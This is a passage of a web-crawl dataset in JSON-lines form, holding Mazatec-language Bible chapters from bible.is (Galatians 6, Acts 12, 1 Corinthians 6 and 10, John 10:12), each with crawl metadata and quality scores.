16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/16","date":"2013-12-10T07:07:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164011870\/warc\/CC-MAIN-20131204133331-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000017881393433}","num_words":990,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn 'ndsé ko̱ tichjeé, tsa tjín i'ka xàngio̱o ra ya̱ kàjin jé, jiòn‑jiòn ra nda titsa̱jna a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá, nda xi̱ta̱ ti̱ko̱o ko̱ ti̱si̱ko̱o mé‑ni nga katamakixi̱ya india‑ni; tanga ti̱kinda̱a ijo‑no ra jiòn, mé‑ni nga mì jé ska̱jin‑te‑no ra jiòn. 2Ti̱si̱ko̱ kañá jñà xàngio̱o tsa 'kia̱ mé kjoa̱ ra chjá ma‑no; 'koa̱á 'sín ko̱ma‑ni nga si̱itjasòn jè kjo̱téxoma ra kitsjà Cristo. 3Tsa tjín i'ka xi̱ta̱ ra nda bachrjengi ijo‑la̱, tanga tsa mí tsa kixi̱‑ni kjoa̱, ti̱jñá i̱nchibíndisoko̱‑ni ijo‑la̱. 4Isa̱á nda‑ni tsa ítjòn kjón nda chítsijen‑jnó ijo‑no mé kjoa̱ ra i̱nchi'nià. Tsa nda i̱nchi'nià, maá tsja kata'se‑no, tanga mì tsa tsò‑ni kjoa̱ nga isa̱ nda i̱nchi'nià jiòn koni ra kj'ií xi̱ta̱. 5Nga̱ jngó jngó xi̱ta̱, kja̱ ya̱á kjinè‑la̱ a̱'ta 'tse̱ mé kjoa̱ ra 'sín nga jngó jngó. 6Jñà ra i̱nchikotá'yá 'én nda‑la̱ Nainá, machjeén‑ní nga katabasìko̱'ta tsa mé ra machjeén‑la̱ jè xi̱ta̱ ra bakón‑ya‑la̱. 7Kì ko̱'sín chìndo̱cha̱‑la̱ ijo‑no: nga̱ ni̱yá ra ma si̱ískáko̱ jè Nainá; koni 'sín tjín kjoa̱ ra 'sín jñà xi̱ta̱, 'koa̱á ti̱'sín tjín kjoa̱ ra sakó‑la̱. 8Nga̱ jè ra ko̱'sín 'sín koni 'sín mejèn‑la̱ ijo‑la̱, kjo̱biyaá sa̱kò‑la̱ a̱'ta 'tse̱ kjoa̱ ra síjé ijo‑la̱; tanga jè ra ko̱'sín 'sín koni 'sín mejèn‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, jé sa̱kò‑la̱ kjo̱binachon ra mì fehe'ta skanda ta kjiá‑nioo̱. 9'Koa̱á ma‑ni nga mì kì machjeén nga ko̱si‑ná nga si̱hitjasén kjoa̱ ra nda tjín; nga̱ ki̱jchó ni̱chjin nga sa̱kó‑ná kjo̱nda, tsa mì kì si̱kjahajen‑lá takén. 10Tsa 'kia̱ ma ra 'nié, ko̱'sín nda si̱ko̱ ijyeé nga'tsì xi̱ta̱, ma'tsia̱ kjòn‑ni ko̱ jñà xi̱ta̱ xàngie̱é ra ngásòn makjiín‑ná a̱'ta 'tse̱ Cristo. 11Chítsijen‑la kó kjòn tsiña‑ni jñà letra ra ndsa̱ tíbindá‑na. 12Jñà xi̱ta̱ ra kjo̱'ñó 'sín‑najiòn nga mejèn‑la̱ si̱'ta chi̱ba̱ ijo‑najiòn ra kjoa̱ 'tse̱ circuncisión, ta jé ra mejèn‑la̱ nga jñà nda kítsa̱jna ya̱ ngixko̱n xi̱ta̱ ra i'ka, ko̱ majìn‑la̱ tsa yá ra koa̱àtji̱ngi‑la̱ ra ta nga̱tjì‑la̱ nga ko̱'sín makjiín‑la̱ nga ya̱á sakó kjo̱nda a̱'ta 'tse̱ nga krò 'ken'ta Cristo. 13Jñà xi̱ta̱ ra tjí'ta chi̱ba̱ ijo‑la̱ ra kjoa̱ 'tse̱ circuncisión, skanda mí kì síhitjasòn‑ni koni 'sín tjín kjo̱téxoma, tanga 'koa̱á 'sín 'ñó mejèn‑la̱ nga katasi'ta chi̱ba̱ jiòn, mé‑ni nga a̱'ta tsa̱jiòn nda si̱ìkítsa̱jna‑ni ijo‑la̱ 'kia̱ nga ijye tjí'ta chi̱ba̱ jiòn. 14Tanga ra 'a̱n, ni̱mé kjoa̱ tjín ra mejèn‑na nga a̱'ta 'tse̱ nda síkíjna‑na ijo‑na̱, ta̱jngoó a̱'ta 'tse̱ koni 'sín makjiín‑na; nga̱ ya̱á sakó kjo̱nda 'kia̱ nga makjiín‑ná nga krò 'ken'ta Jesucristo ra tíjna ítjòn‑ná. Ya̱á nchrabá‑ni nga mì ti̱ mé kinda̱ 'sin‑na jñà kjoa̱'cho ra tjín i̱ i̱sà'nde; ko̱ ra 'a̱n, mì ti̱ mé kinda̱ ma‑na ya̱ a̱jin kjoa̱'cho kìi̱. 15Ra a̱'ta 'tse̱ Cristo mì tsa jè ra chjí‑la̱ a tjí'ta chi̱ba̱‑ná 'tse̱ circuncisión, o̱ ra mí tsa tjí'ta chi̱be̱é; jè ra chjí‑la̱ nga jè Nainá ijyeé xi̱ta̱ xi̱tse̱ ki'sín‑ná. 16Kata'se‑la̱ kjo̱'nchán ko̱ kjo̱hi̱ma̱takòn ya̱ a̱jin inìma̱‑la̱ nga'tsì ra ko̱'sín i̱nchifìko̱ kjo̱hixi̱‑la̱ koni 'sín tsò 'én ra ko̱tíxian‑la̱, jñà ra ngi kixi̱ kjoa̱ nga xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ma. 17'Koa̱á 'sín tíxin‑no kì ti̱ tsja ko̱tjín kjoa̱ ra fatsji-isa‑ná; nga̱ takó tjí'ta nijndaá‑isa ijo‑na̱ a̱'ta 'tse̱ kjo̱hi'in ra kitsjà‑na xi̱ta̱, ra ta nga̱tjì 'tse̱ Jesús ra tíjna ítjòn‑ná. 18Jiòn 'ndsé ko̱ tichjeé, jè kjo̱nda‑la̱ Jesucristo ra tíjna ítjòn‑ná nda katijnajin ya̱ inìma̱‑no. Ko̱'sín katama.\nGálatas 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Gal\/6","date":"2013-12-09T10:28:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163956743\/warc\/CC-MAIN-20131204133236-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":518,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti̱jñá‑ni jñà ni̱chjin kìi̱, jè Herodes ra xi̱ta̱xá ítjòn tíjna, kitsjà kjo̱hixi̱ nga indabá'ñó i'ka xi̱ta̱ na̱xi̱ndá‑la̱ Cristo mé‑ni nga ko̱ma ske̱ton‑ni. 2Ko̱ kitsjá‑te kjo̱hixi̱ nga ki̱cha̱ ndajò ini'ken‑ni jè Jacobo, ra 'ndse̱ ma Juan. 3Jè Herodes, 'kia̱ nga kijtse nga ndaá ki'se‑la̱ jñà xi̱ta̱ judío nga 'ken Jacobo, ti̱'koa̱á itsabá'ñó‑te jè Pedro jè ni̱chjin 'kia̱ nga bitjo 'sí nga bakjèn jñà xi̱ta̱ ni̱ño̱ nchra̱jín ra tsìn‑la̱ na̱'yo̱ san. 4Nda̱yá isìkjaha'sen. Chrjo'òn jngo ma‑ni chíchàn ra isikìnda̱ ko̱ ijòn‑ijòn isikìnda̱‑ni nga india‑india ya̱ a̱ya nda̱yá. Jè kjo̱bítsjen‑la̱ Herodes, jè‑ní, nga 'kia̱á ko̱chrje‑ni nda̱yá 'kia̱ nga ijye kje̱he'tà 'sí paxko̱ mé‑ni nga jñà xi̱ta̱ na̱xi̱ndá si̱ìnga̱tsja nga katatsjá 'én nga si̱ì'ken. 5Jè Pedro, 'ñó nda tímakinda̱ ya̱ a̱ya nda̱yá, tanga jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo mì kì jyò títsa̱jna; 'ñó nda i̱nchisíjé'ta‑la̱ Nainá ra a̱'ta 'tse̱ Pedro. 6Jè ni̱chjin 'kia̱ nga mejèn‑la̱ Herodes si̱ìnga̱tsja xi̱ta̱ na̱xi̱ndá Pedro, jè ni̱tje̱n ra̱kiòo̱, Pedro kjijnafé‑ní, ya̱á kjijna'nchò masen‑la̱ jò chíchàn, ko̱ jò na'ñó ki̱cha̱ cadena tjíté'ñó‑ni; jñà chíchàn ra i'ka ya̱á i̱nchisíkinda̱ ya̱ xo̱tjo̱ba̱‑la̱ nda̱yá. 7Ta ndi̱to̱ón 'ji kásen jngo ìkja̱li̱‑la̱ Nainá; ko̱ ya̱ a̱ya nda̱yá 'ñó kjohisen ijye kóho'kioo̱; jè ìkja̱li̱ isìjtiyaá‑la̱ Pedro nga isí'ká‑la̱; kitsò‑la̱: ―¡Ndi̱to̱n ti̱sítji̱in! Ko̱ jñà na'ñó ki̱cha̱ cadena ra tjíté'ñó‑ni ya̱ tsja Pedro sasa iskatsajo'tá ya̱ nangi. 8Jè ìkja̱li̱ kitsó‑la̱: ―Tsjàna̱yì jè nikje‑li, ko̱ tjayi jñà xa̱jté‑li. Jè Pedro, 'koa̱á 'sín ki'sìn. A̱kjòn kitsò jè ìkja̱li̱: ―Tsjàna̱yì jè katò‑li, ko̱ nchrabátji̱ngi‑ná. 9Pedro itjotji̱ngií‑la̱ jè ìkja̱li̱; ko̱ mì kì machi̱ya‑la̱ a kixi̱í kjoa̱ ra tí'sín jè ìkja̱li̱; jè Pedro, 'koa̱á kjomà‑la̱ koni tsa ta nijñá tí'bì‑la̱. 10'Jaha'tá‑la̱ jè chíchàn ra síjna ítjòn, ti̱'koa̱á 'jaha'tá‑la̱ jè ra ijchò jò‑ni; 'kia̱ nga ijchò ya̱ xo̱tjo̱ba̱‑la̱ nda̱yá ra ngi ki̱cha̱ ra ijye ma bítjo̱‑ná ya̱ ndi̱tsiaán, tà itjá'xa̱ ta̱jngo‑ní; itjoó jè Pedro; tsato'nchò jngo calle, ko̱ tà ndi̱to̱ón ichijà jè ìkja̱li̱; ta jé isasíjna ta̱jngo. 11Jè Pedro, 'kia̱á nda kjòchi̱ya‑la̱, kitsò: ―Ngi kixi̱ kitií kjoa̱, makjiín‑na nga jè Nainá kàsíkasén jè ìkja̱li̱‑la̱ nga kásíkíjnandi̱í‑na ra a̱'ta 'tse̱ Herodes ko̱ a̱'ta 'tse̱ nga'tsì kjoa̱'cho ra i̱nchikoñá‑la̱ jñà xi̱ta̱ judío nga si̱ìko̱‑na jè Herodes. 12Jè Pedro, 'kia̱ nga ijye nda kjòchi̱ya‑ila̱ kjoa̱ kìi̱, ya̱á kijì ya̱ ni'ya‑la̱ María, ra na̱‑la̱ ma Juan ra ti̱'koa̱ Marcos 'mì, ya̱ ñánda̱ nga kjìn xi̱ta̱ títsa̱hijyo nga i̱nchibítsa'ba‑la̱ Nainá. 13'Kia̱ nga kiìchja̱ jè Pedro ya̱ xo̱tjo̱ba̱ ni'ya, itjo katsíjen jngo tsati ra 'mì Rode nga mejèn‑la̱ ske̱ yá‑ní ra tíchja̱. 14'Kia̱ nga kií'nchré‑la̱ nga jè Pedro ra tíchja̱, nda mí kì iskí'xa̱‑la̱ jè xo̱tjo̱ba̱ ni'ya nga batoó tsja ki'se‑la̱; ta isa̱á ya̱ tsahachikon'sen india‑ni ya̱ a̱ya ni'ya, nga isíkjí'nchré jñà xi̱ta̱ xákjién nga jè Pedro ya̱á síjnajto ya̱ xo̱tjo̱ba̱ ni'ya. 15Jñà xi̱ta̱ xákjién kitsó‑la̱: ―¡Ta 'koa̱à‑la sii̱! Tanga jè tsati kiìchja̱ kixi̱‑ní nga ngi kixi̱í kjoa̱ nga jè Pedro ra tíchja̱. Tanga jñà xi̱ta̱ kìi̱ kitsó‑la̱: ―¡Ta jé‑la se̱n‑la̱! 16Jè Pedro 'ñó tíchja̱‑isa nga tísíkjane jè xo̱tjo̱ba̱‑la̱ ni'ya. 'Kia̱ nga iskí'xa̱‑la̱, kijtse‑ní nga jé Pedro; jñà xi̱ta̱ xákjién, tà kjóxkón‑la̱. 17Jè Pedro iskimítje̱én tsja nga kitsò‑la̱: ―Jyò ti̱tsa̱jna. A̱kjòn tsi'kéna̱jmí‑la̱ kó'sín kjomà'tin nga tsachrje‑ni nda̱yá Nainá. Kitsò‑la̱: ―Ko̱'sín 'tèna̱jmí‑la jè Jacobo ra ìjngo ko̱ jñà 'ndsé ra i'ka. A̱kjòn itjo ni'ya; xìn i̱'nde kijì. 18'Kia̱ nga ki'se i̱sén nga'tsì chíchàn ra i̱nchisíkinda̱ nda̱yá taxki̱ kjo̱sií ra ki'se‑la̱ nga mì kì machi̱ya‑la̱ kó'sín kjomà nga itjo‑ni nda̱yá jè Pedro. 19Jè Herodes kitsjá kjo̱hixi̱ nga isitsji jè Pedro, tanga mì kì isakò‑la̱. 'Kia̱ nga ijye iskonangi‑la̱ jñà chíchàn ra isikìnda̱, jñá chíchàn iskanè-jé‑la̱ ko̱ a̱kjòn kitsjá kjo̱hixi̱ nga ini'ken. Jè Herodes a̱kjòn itjokàjin ya̱ Judea ko̱ ya̱á kijì kijna ya̱ na̱xi̱ndá Cesarea. 20Jè Herodes jtií tjín‑la̱ a̱'ta 'tse̱ jñà xi̱ta̱ na̱xi̱ndá Tiro ko̱ na̱xi̱ndá Sidón. Kií ko̱'sín tsajo̱óya‑ni jñà xi̱ta̱ kìi̱ nga inchrabàjkon jè Herodes. Ndaá tsakáko̱na̱jmí jè xi̱ta̱ ra 'mì Blasto ra xá ítjòn tjín‑la̱ ya̱ ni'ya‑la̱ xi̱ta̱xá ítjòn ra 'mì Herodes, ko̱ jé Blasto kiìchja̱tjì xi̱ta̱ kìi̱ nga ma ki'se‑la̱ kjo̱'nchán ko̱ Herodes. Kií ko̱'sín ki'sìn‑ni jñà xi̱ta̱ kìi̱ nga ya̱á nangi‑la̱ Herodes batse tsajmì ra kjine. 21Herodes, jngo ni̱chjin tsikíjna‑la̱ nga ma tsakáko̱ jñà xi̱ta̱ kìi̱. Jè ni̱chjin 'kia̱ nga tsakáko̱, jè Herodes, jé tsakjaya nikje‑la̱ ra 'tse̱ xi̱ta̱xá ítjòn; tsikijnasòn íxile̱‑la̱, a̱kjòn kiìchja̱jin‑la̱ xi̱ta̱ na̱xi̱ndá. 22Jñà xi̱ta̱ na̱xi̱ndá, 'kia̱ nga kií'nchré‑la̱, tsikí'tsia̱‑ni nga 'ñó kiìchja̱, kitsò: ―¡Jè xi̱ta̱ ra tíchja̱, jngoó nainá, mì tsa taxki̱ xi̱ta̱‑jìn! 23Ti̱'kia̱á‑ni 'ji jngo ìkja̱li̱‑la̱ Nainá ra kitsjà‑la̱ 'chin, nga kjokiya; chi̱ndoó iskinejno ijo‑la̱; ko̱ a̱kjòn 'ken, ta nga̱tjì‑la̱ nga̱ mì kì tsa jè Nainá jeya isíkíjna. 24Ko̱ jè 'én‑la̱ Nainá isa̱á nda tsabísòn‑isa ko̱ isa̱á nda kjokjìn‑isa xi̱ta̱ ra kjokjiín‑la̱. 25Jè Bernabé ko̱ Saulo, 'kia̱ nga ijye itjasòn xá‑la̱ ya̱ Jerusalén, kijì india‑ni ya̱ ján Antioquía. Tje̱n‑ko̱ Juan ra ti̱'koa̱ Marcos 'mì.\nHechos 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/12","date":"2013-12-11T17:00:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164039593\/warc\/CC-MAIN-20131204133359-00018-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":762,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò, k'e̱ nga tsà kjoa̱siì tjín‑nò ko̱ xi̱ta̱ xinguio̱o, ¿mé‑ne jñà mejèn‑nò koi̱ìndaàjiìn‑nò jñà xi̱ta̱xá xi mìtsà xi̱ta̱‑la̱ Cristo? ¿A mìtsà tà jñà kàtíndaàjiìn‑nò xi xi̱ta̱ na̱xa̱ndá‑la̱ Cristo? 2¿A mìtsà tíjiìn‑nò nga jñá xi xi̱ta̱ na̱xa̱ndá‑la̱ Cristo 'mì‑ná, jñá kíndaàjiìn‑lá xi̱ta̱ i̱sò'nde? Tsà jñò koi̱ìndaàjiìn‑là xi̱ta̱ i̱sò'nde, ¿a mì chíkjoa̱‑nò nga ta jñò kíndaàjiìn‑là xi̱ta̱ xinguio̱o kjoa̱ xi chiba tjín? 3¿A mìtsà tíjiìn‑nò nga ti̱koa̱ i̱t'aà tsa̱ján kíndaàjiìn‑lá àkja̱le̱? Tsà jñá kíndaàjiìn‑lá àkja̱le̱, ¿a mì ko̱ma‑ná kíndaàjiìn‑lá xi̱ta̱ xinguia̱á kjoa̱ xi tjín i̱ i̱sò'nde? 4K'oa̱á ma‑ne tsà ta kjoa̱ ts'e̱ i̱sò'nde‑né xi tjín‑nò, ti̱nókjoa̱ jngoò‑là xi̱ta̱ 'ndsè xi jñò nachrjenguioò nga 'mì‑là ni̱mé chjí‑la̱, jè kàtíndaàjiìn‑nò. 5Koií koa̱ xan‑nò mé‑ne nga kàtasobà‑nò. ¿A mìtsà tíjna jngoò xi̱ta̱ xinguio̱o xi tjín‑la̱ kjo̱hítsjeèn nga ko̱ma‑la̱ koi̱ìndaàjiìn‑la̱ xi̱ta̱ xi 'ndsé chibá? 6Mìtsà ta koií kjoa̱‑la̱ nga bixkàn‑ko̱o xinguio̱o, skanda ya̱á onguíko̱o xinguio̱o nguixko̱n xi̱ta̱xá xi mìkiì beèxkon Nainá nga bìndaàjiìn‑nò. 7Kixi̱í kjoa̱, ch'oó tjín kjoa̱ k'e̱ nga ti̱jñò bixkàn‑ko̱‑nò xinguio̱o. ¿Mé‑ne mìtsà ta sa̱á nìkjeiín‑là xinguio̱o k'e̱ nga ch'o síko̱‑nò? Ta saà ti̱kjeiín‑la nga kàtasíchijé‑nò. 8Ta̱nga jñò, k'oa̱á ti̱s'ín ch'o nìko̱o xinguio̱o, ti̱jñò nìchijé‑là. 9¿A mìtsà tíjiìn‑nò nga jñà xi mìtsà xi̱ta̱ kixi̱, mìkiì kjoa̱has'en‑jiìn i̱'nde ñánda tíhotíxoma Nainá? Jñà xi̱ta̱ xi kjoa̱ chijngui s'ín, jñà xi xkósòn beèxkón, jñà xi̱ta̱ xi jye chixàn xi kjoa̱ chijngui s'ín, jñà xi̱ta̱ xi̱'ndè xi ti̱ x'i̱n xíkjín oyijòko̱‑ne, 10jñà xi̱ta̱ chijé, jñà xi̱ta̱ tse mejèn, jñà xi̱ta̱ xi xán 'biì, jñà xi xi̱ta̱ chja̱jno‑la̱, jñà xi̱ta̱ xi kona̱cha̱n‑la̱ xíkjín nga síchijé‑la̱, kì yijo‑nò chona̱cha̱n‑là nga jñà xi̱ta̱ xi koa̱tjín kjoa̱ch'o xi s'ín mìkiì kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá. 11Jñò, k'e̱ nga sa̱ kjòtseé k'oa̱ ti̱s'ín ki'nè i'nga; ta̱nga i̱'ndei̱, jye kisaníjno kjoa̱ ts'e̱ jé‑nò, jye xi̱ta̱ tsjeè‑la̱ Nainá komà, ko̱ jye xi̱ta̱ kixi̱ komà i̱t'aà ts'e̱ nga'ñó‑la̱ Jesucristo xi otíxoma‑ná ko̱ i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 12Tjín i'nga xi̱ta̱ xinguio̱o xi tsò: \"'A̱n tjí'ndeé‑na ni̱ta̱ mé kjoa̱ xi s'iaàn.\" Kixi̱í kjoa̱ tjí'nde‑né, ta̱nga mìkiì ok'ìn‑la̱ tsà k'oa̱s'e̱n yijeé ngats'iì kjoa̱; k'oa̱á ma‑ne, 'a̱n, mìkiì tsjaà'nde‑la̱ yijo‑na̱ nga si̱ìkijne‑na jngoò kjoa̱. 13Ti̱koa̱á tjín i'nga xi tsò: \"Jñà tsojmì xi ma chine, ts'e̱é i̱ndso̱'bá, koa̱ jè i̱ndso̱'bá mochjeén‑la̱ tsojmì xi ma chine.\" Kixi̱í kjoa̱, ta̱nga ingajò kjoa̱ koi, Nainá si̱ìkjehet'aà. Ta̱nga jè yijo‑ná, mìtsà ko̱s'ín ko̱chjeén nga kjoa̱ chijngui s'e̱én; i̱t'aà ts'e̱ Nainá ko̱chjeén; yijo‑ná, ts'e̱é Nainá. 14Koni s'ín kis'iìn Nainá nga kisìkjaáya‑la̱ Na̱'èn‑ná Jesús, jñá k'oa̱á ti̱s'ín kjoa̱áya‑ná i̱t'aà ts'e̱ kjoa̱ biyaà nga tjín‑la̱ nga'ñó Nainá. 15¿A mìtsà tíjiìn‑nò nga jè yijo‑ná, ya̱á tíkjoòko̱ ts'e̱ Cristo? ¿A ko̱maá si̱kjeén yijo‑la̱ Cristo nga si̱jngoòt'aà‑lá ts'e̱ chjo̱ón ská? Majìn, mìkiì ko̱ma. 16¿A mìtsà 'yaà, k'e̱ nga jngoò xi̱ta̱ x'i̱n, tsà chjo̱ón ská kíjnako̱, jngoò yijoó ko̱ma? Nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Ingajò xi̱ta̱ koi, jngoò yijoó ko̱ma. 17Ta̱nga jè xi Na̱'èn‑ná tíjnako̱, ya̱á majngoòko̱ ini̱ma̱‑la̱ ko̱ ts'e̱ Na̱'èn‑ná. 18Ti̱nchat'aàxìn‑là kjoa̱ chijngui. Jngoò xi̱ta̱, ni̱ta̱ mé jé xi ótsji xi kj'ei̱í jé, mìtsà yijo‑la̱ tíbeètoòn. Ta̱nga jè xi̱ta̱ xi kjoa̱ chijngui s'ín, yijo‑la̱á beètoòn. 19¿A mìtsà tíjiìn‑nò nga jè yijo‑nò ni'ya‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá‑né xi jñò kitsjaà‑nò Nainá nga tíjnajiìn ini̱ma̱‑nò? Yijo‑nò, mìtsà ti̱ tsa̱jòn‑nò. 20Nainá jye tsakatse‑nò, tseé tsibíchjítjì‑nò. Koií kjoa̱‑la̱ jcha̱xkón Nainá, ndaà ti̱kjeén yijo‑nò nga ts'e̱é Nainá.\n1 Corintios 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/6","date":"2013-12-09T22:30:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164000853\/warc\/CC-MAIN-20131204133320-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":524,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12Jè xi̱ta̱ xi tà chi̱'nda tíjna nga ko'ndà orrè, k'e̱ nga beè nga nchrobá chrañà tse̱jén, síkítsa̱jna jñà orrè, i̱kjoàn onga. Koií k'oa̱s'ín‑ne nga mìtsà jè paxtò xi ko'ndà, ti̱koa̱ mìtsà jè nei‑la̱ orrè. I̱kjoàn matsja‑la̱ jè tse̱jén nga tsobà'ñó jñà orrè, xki̱ xi ján sítsjòya jñà orrè xi i'nga.\nSan Juan 10:12\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/10\/12","date":"2013-12-05T05:23:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163040022\/warc\/CC-MAIN-20131204131720-00019-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":55,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ndí 'ndsé ko̱ ndí tichjeé, nda kjón katasijin‑no nga jñà xi̱ta̱ jchínga kjin‑ná, ['kia̱ nga itjojin ya̱ na̱xi̱ndá Egipto], ya̱á tsikìmangi'ngién ya̱ ifi [jè ifi ra kijì ítjòn‑la̱], ko̱ ti̱'koa̱á nga'tsiòo̱ ya̱á tsatojin ya̱ ndáchikon. 2Nga'tsì xi̱ta̱ kìi̱, ya̱á isatíndá ya̱ a̱jin‑la̱ ifi ko̱ ya̱ a̱jin ndáchikon mé‑ni nga kjomà ya̱ tsikitsa̱jnajtín‑ko̱‑ni jè Moisés. 3Jngoó ndi̱yá tjín‑ni tsajmì ra iskine ra a̱'ta 'tse̱ kjo̱xkón‑la̱ Nainá inchrabà‑ni. 4Ti̱'koa̱á ta jngoó ndi̱yá‑la̱ nandá ra ki'tsi, ra ti̱'koa̱ a̱'ta 'tse̱ kjo̱xkón‑la̱ Nainá inchrabà‑ni ra itjokjá na̱xi̱ ra a̱'ta 'tse̱ Nainá 'ji‑ni ra ya̱ tsakáhijtako̱ xi̱ta̱ kìi̱ ta kó'sín nga kijì; ko̱ jè na̱xi̱ ra̱kìi̱ jè Cristo‑ní. 5Kja̱meé ta nga'tsì jñà xi̱ta̱ kìi̱, mì kì kisasèn‑la̱ Nainá koni 'sín nga ki'sìn; 'koa̱á ma‑ni nga ya̱ 'ken ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì. 6'Kia̱ nga ko̱'sín kjomà ta nga'tsì kjoa̱ kìi̱, jngoó xkósòn isijna‑ná ra jién, mé‑ni nga mì ko̱'sín jñà si̱kjaájin‑né kjoa̱ ra 'cho tjín, koni 'sín ki'sìn xi̱ta̱ kìi̱, nga jñà isikjahájin jñà kjoa̱ ra 'cho tjín. 7Ko̱ kì chjàn jñà minchaxkó'nchi'ta‑la ko̱ 'yaxkón jñà ra ta nainá xkósòn‑la̱ xi̱ta̱, koni 'sín ki'sìn i'ka jñà xi̱ta̱ kìi̱, nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Jè na̱xi̱ndá tsijen kjón tsikitsa̱jna nga tsakjèn ko̱ nga ki'tsi, ko̱ a̱kjòn kisíská [nga kijtsexkón jè nainá xkósòn].\" 8Ko̱ mì tsa ko̱'sín kjoa̱chijngi 'sie̱én ra jién, koni 'sín ki'sìn i'ka jñà xi̱ta̱ kìi̱; nga 'koa̱á kjomà‑ni nga sí kaján jmi 'ken nga ta jngo ni̱chjin. 9Ko̱ mì tsa ko̱'sín chjí'té Na̱'ín‑ná koni 'sín ki'sìn i'ka jñà xi̱ta̱ kìi̱ nga iskó'ta Na̱'ín‑ná, nga kií jnchro ko̱'sín kjomà‑ni nga ta ye̱é tsi'ké‑la̱ nga 'ken. 10Ti̱'koa̱á mì kì ko̱'sín tsjájé'tá‑lá Nainá, koni 'sín ki'sìn i'ka jñà xi̱ta̱ kìi̱ nga tsjakjajé'ta‑la̱ Nainá, 'koa̱á 'sín kjomà‑ni nga 'ji jngo ìkja̱li̱ ra ma‑la̱ síkjehesòn xi̱ta̱ nga isì'ken jñà xi̱ta̱ kìi̱. 11Jngoó xkósòn isijna‑ná ra jién 'kia̱ nga ko̱'sín kjomà'tin jñà xi̱ta̱ kìi̱, ko̱ kií ko̱'sín isi'ta‑ni ya̱ Xa̱jo̱n‑la̱ Nainá mé‑ni nga katachi̱ya‑ná nga mì ko̱'sín 'sie̱én, jién ra titsa̱jnakeén ni̱chjin ra tífehe'ta‑ni 'ndi̱‑ni̱. 12'Koa̱á ma‑ni jè ra ko̱'sín tsò nga ijyeé kixi̱ tíjna ra a̱'ta 'tse̱ Nainá, nda katasíkonda̱ ijo‑la̱ nga mì jé ska̱jin. 13Nga'tsì kjoa̱ ra tíkajin jiòn skanda 'ndi̱‑ni̱ nga títjá'ta kjoa̱ ra makjiín‑no, jñá‑ní kjoa̱ ra ko̱'sín ma'tin ta yá xi̱ta̱‑ni. Tanga jè Nainá, ngi xi̱ta̱ kixi̱í ra jè; maá jè kjó'ta takòn jiòn nga mì kì tsjá'nde ra jè nga isa̱ tse kjo̱hi'in si̱kjiín jiòn koni 'ki nga ma chíkjoa̱ko̱‑no. 'Kia̱ nga mé kjoa̱ ra ska̱jin jiòn, nga tjá'ta kjoa̱ ra makjiín‑no, jé Nainá ski̱íxa̱'nde kó'sín nga ma kítjo̱kajion kjoa̱ kìi̱, mé‑ni nga ma chíkjoa̱ko̱‑no. 14'Koa̱á ma‑ni jiòn ndí 'ndsé ra tsjake̱‑no, kjiín ti̱kíjna‑la kjo̱bítsjen‑no xkósòn ra nainá tsò‑la̱ xi̱ta̱. Kì 